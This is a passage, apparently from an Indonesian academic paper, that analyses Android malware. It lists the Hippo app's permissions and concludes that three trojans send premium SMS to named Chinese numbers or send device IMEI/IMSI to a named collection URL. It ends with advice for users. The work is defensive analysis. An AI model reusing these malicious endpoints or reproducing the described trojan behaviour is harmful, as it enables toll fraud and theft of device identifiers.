Memori
Memori 0,00B
Hapus memori
Jalankan sebagai default
Tdk ada pengaturan default.
Hapus default

Izin
Aplikasi ini dapat mengakses yang berikut ini di perangkat Anda:

A\ Pesan Anda
baca SMS atau MMS, edit SMS atau MMS, terima SMS

A\ Komunikasi jaringan
akses penuh Internet

Penyimpanan
Mengubah/menghapus konten memori telepon
internal

A\ Panggilan telepon
Baca status dan ID telp

A\ Layanan yang butuh biaya
kirim pesan SMS

Alat sistem
Sambungkan dan putuskan sistem file

Gambar 20. Info aplikasi Hippo (kuis.com) pada
perangkat android

3. Kesimpulan

Dari hasil analisis yang dilakukan dapat diambil
beberapa kesimpulan, yaitu:

1. Proses analisis malware forensik pada aplikasi
android bisa dilakukan dengan mengekstrak file apk
aplikasi, kemudian menkonvertnya dengan fools
dex2jar dan JD-GUI sehingga hasil akhir didapatkan
source code java dari aplikasi yang bisa dianalisis.
Aplikasi iCalender mengandung malware android
(trojan) yang dapat mengirimkan sms ke premium
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number “1066185829”, sehingga tanpa disadari user
akan menerima sms premium dari premium number
tersebut.

Aplikasi live prints live wallpaper mengandung
malware android hongtoutou (Trojan dan spyware)
yang dapat mencuri informasi tentang IMEI dan
IMSI dari perangkat android dikirimkan ke situs
http://adrd.taxuan.net/index.aspx .

Malware android Hippo sms yang terdapat dalam
aplikasi  hippo membuat perangkat android
mengirim sms ke salah satu premium number China
(“1066156686”) dan mengakibatkan perangkat
android tersebut berlangganan sms premium dari
berbagai premium number China tanpa diketahui
user.

Bagi para  pengguna android  sebaiknya
mendownload aplikasi android dari situs terpercaya,
dan sebelum memutskan menginstal aplikasi
sebaiknya memeriksa terlebih dahulu dengan anti
virus apakah aplikasi tersebut mengandung
malware, serta terlebih dahulu memeriksa izin akses
yang dijalankan oleh aplikasi.
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